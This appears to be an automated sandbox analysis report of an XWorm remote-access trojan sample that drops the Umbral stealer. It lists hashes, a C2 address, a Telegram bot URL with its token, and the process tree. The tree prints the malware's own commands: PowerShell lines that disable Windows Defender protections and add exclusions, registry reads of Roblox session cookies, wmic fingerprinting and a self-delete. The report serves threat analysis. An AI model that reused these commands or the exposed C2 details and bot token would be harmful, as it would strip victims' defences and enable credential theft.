Analysis

  • max time kernel
    108s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250207-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250207-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-02-2025 02:16

General

  • Target

    XwormRAT-38944e7579d5fcd2263e7212954619c496d4ff087360b8db6e190e1bdf5358ce.exe

  • Size

    322KB

  • MD5

    710c071c63a8d8d1cd493c81d34834dc

  • SHA1

    050c535a206ac05550e3670ef465efe83585a76b

  • SHA256

    38944e7579d5fcd2263e7212954619c496d4ff087360b8db6e190e1bdf5358ce

  • SHA512

    af1753c06c22178d1362ab964e445dbe49c5cf3c83ebceabf21b9a7c4cc30efbc66b3a28c4d4f90efba081faba84047edb190d2f05abe416ebf1a1b6c36aad13

  • SSDEEP

    6144:PhPKqm0guLkkFZFjbnSrOsrfUVCmveA3E6Chow8rtryB8YROu+oSxOFDxXMR17:5NnnfZTSHfUV7/E6twurFG+oS4FDxXMP

Malware Config

Extracted

Family

xworm

C2

147.185.221.19:18254

Attributes
  • Install_directory

    %Temp%

  • install_file

    SecurityHost.exe

  • telegram

    https://api.telegram.org/bot7873282441:AAFVeYQ8VZCC3gF8qlaTYIz4N-gMEL21mHI/sendMessage?chat_id=7952080340

Signatures

  • Detect Umbral payload 2 IoCs
  • Detect Xworm Payload 2 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file 1 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 3 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\XwormRAT-38944e7579d5fcd2263e7212954619c496d4ff087360b8db6e190e1bdf5358ce.exe
    "C:\Users\Admin\AppData\Local\Temp\XwormRAT-38944e7579d5fcd2263e7212954619c496d4ff087360b8db6e190e1bdf5358ce.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4524
    • C:\Users\Admin\AppData\Local\Temp\1.16.5.exe
      "C:\Users\Admin\AppData\Local\Temp\1.16.5.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:3556
    • C:\Users\Admin\AppData\Local\Temp\SystemHost.exe
      "C:\Users\Admin\AppData\Local\Temp\SystemHost.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2032
      • C:\Windows\SYSTEM32\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\SystemHost.exe"
        3⤵
        • Views/modifies file attributes
        PID:2936
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SystemHost.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2712
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3644
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1460
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3580
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1408
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1476
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
          PID:1600
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:2872
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic" path win32_VideoController get name
          3⤵
          • Detects videocard installed
          PID:2180
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\SystemHost.exe" && pause
          3⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:4652
          • C:\Windows\system32\PING.EXE
            ping localhost
            4⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:5048
    • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
      "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7NkRDNTc3QTgtODcwMi00NEE0LUFFMjItREI1Rjk4MjE5N0QwfSIgdXNlcmlkPSJ7QjE3NTc2QTgtM0U3My00NkVCLUE0NUItNTg2NjMxMDY0QTQyfSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7QjJEQkJFMTgtMkEzRC00NzQyLTgwMEYtNjlDOEY0Q0JFMjVCfSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IiIgcHJvZHVjdF9uYW1lPSIiLz48ZXhwIGV0YWc9IiZxdW90O0UreGJBejZZNnNVMTI4OWJTNnFsNFZSTGJramZCVUdUTUpzanJIcjQ0aUk9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjEyMy4wLjYzMTIuMTIzIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSI0IiBpbnN0YWxsZGF0ZXRpbWU9IjE3Mzg5NDU5ODUiIG9vYmVfaW5zdGFsbF90aW1lPSIxMzM4MzQxODQ0NDQzNjAwMDAiPjxldmVudCBldmVudHR5cGU9IjMxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIyMTc5ODYyIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI1MTU3OTUwMTIyIi8-PC9hcHA-PC9yZXF1ZXN0Pg
      1⤵
      • System Location Discovery: System Language Discovery
      • System Network Configuration Discovery: Internet Connection Discovery
      PID:2916

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      d85ba6ff808d9e5444a4b369f5bc2730

      SHA1

      31aa9d96590fff6981b315e0b391b575e4c0804a

      SHA256

      84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

      SHA512

      8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      97542ef6512656cf519f120ea38df46d

      SHA1

      c89532b055e3378bb2281e17c818b9db16e15096

      SHA256

      b13ee68cc702228e2440e40c7ab98f17e973971d6dcc7790257442db33818102

      SHA512

      ef47d5926dc8efc04a2fb19c2377378ecd2f5d70f280f7535307456e6d566a670247ebea92c20dfa325493e0953276f790dd5fd8a1e34c4dc176e8a299c2c1d1

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      6d42b6da621e8df5674e26b799c8e2aa

      SHA1

      ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

      SHA256

      5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

      SHA512

      53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      948B

      MD5

      bc6bb59ecfce265d0cd96fd0ba620cf5

      SHA1

      d453f29bde83aaa3fc3e989187435cd6f13cc113

      SHA256

      d91f16150088b3bd9f49bcc04c826274b7d75c2cb0af663023c64fa447eb81d7

      SHA512

      2a4c87e9f60279bb862842ad4019035b6a29470ac331a9d4a01808ce424322eb06b35fef88b305334dd44289328c03de1dabc389443a7347fcd48f9280c3f38a

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      276798eeb29a49dc6e199768bc9c2e71

      SHA1

      5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

      SHA256

      cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

      SHA512

      0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

    • C:\Users\Admin\AppData\Local\Temp\1.16.5.exe

      Filesize

      80KB

      MD5

      0154c502a44c2d5f9b4d5ccbbb00dd10

      SHA1

      d7e0d7311c345dfd8d9b866d0cc9947da75ef194

      SHA256

      75d7a768d90e198c91aa274d24ff8f08ba95692b888d314aaf6278bb9a175027

      SHA512

      f237bbf5d80712ec3627a618dcd52bb75c379b8e5d3a9f4f10e09cabdb8dfb61a64ec6663b853b607f4add930dd19f249dfdce2b76240820bd3d5cd4ae555e09

    • C:\Users\Admin\AppData\Local\Temp\SystemHost.exe

      Filesize

      231KB

      MD5

      4855e5d98bb0ba10ce6acafaee9a9604

      SHA1

      8ef1a61d89cba2fd51460af7a902150e7066881a

      SHA256

      c51f4e4068a1ad51be55c670091bcddf525e4c3e4a43da4d1c1ab9fe9ac8f1e0

      SHA512

      39240a196a462be0c1fbf45d5d3a755767fef8d89eb4b63bcff30062be746a1237e47cb6fd4d0e980b8786416d5310bff4a40d34d7bcbc447a0c0110a31d3254

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xuh2z3p5.dwv.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/2032-96-0x000001F5E57E0000-0x000001F5E57EA000-memory.dmp

      Filesize

      40KB

    • memory/2032-58-0x000001F5E70F0000-0x000001F5E7140000-memory.dmp

      Filesize

      320KB

    • memory/2032-59-0x000001F5E57F0000-0x000001F5E580E000-memory.dmp

      Filesize

      120KB

    • memory/2032-28-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp

      Filesize

      10.8MB

    • memory/2032-26-0x000001F5E5340000-0x000001F5E5380000-memory.dmp

      Filesize

      256KB

    • memory/2032-57-0x000001F5E71A0000-0x000001F5E7216000-memory.dmp

      Filesize

      472KB

    • memory/2032-118-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp

      Filesize

      10.8MB

    • memory/2032-113-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp

      Filesize

      10.8MB

    • memory/2032-97-0x000001F5E7160000-0x000001F5E7172000-memory.dmp

      Filesize

      72KB

    • memory/2712-40-0x00000231CBAD0000-0x00000231CBAF2000-memory.dmp

      Filesize

      136KB

    • memory/3556-27-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp

      Filesize

      10.8MB

    • memory/3556-30-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp

      Filesize

      10.8MB

    • memory/3556-29-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp

      Filesize

      10.8MB

    • memory/3556-25-0x0000000000440000-0x000000000045A000-memory.dmp

      Filesize

      104KB

    • memory/4524-0-0x00007FFE2D563000-0x00007FFE2D565000-memory.dmp

      Filesize

      8KB

    • memory/4524-1-0x0000000000480000-0x00000000004D6000-memory.dmp

      Filesize

      344KB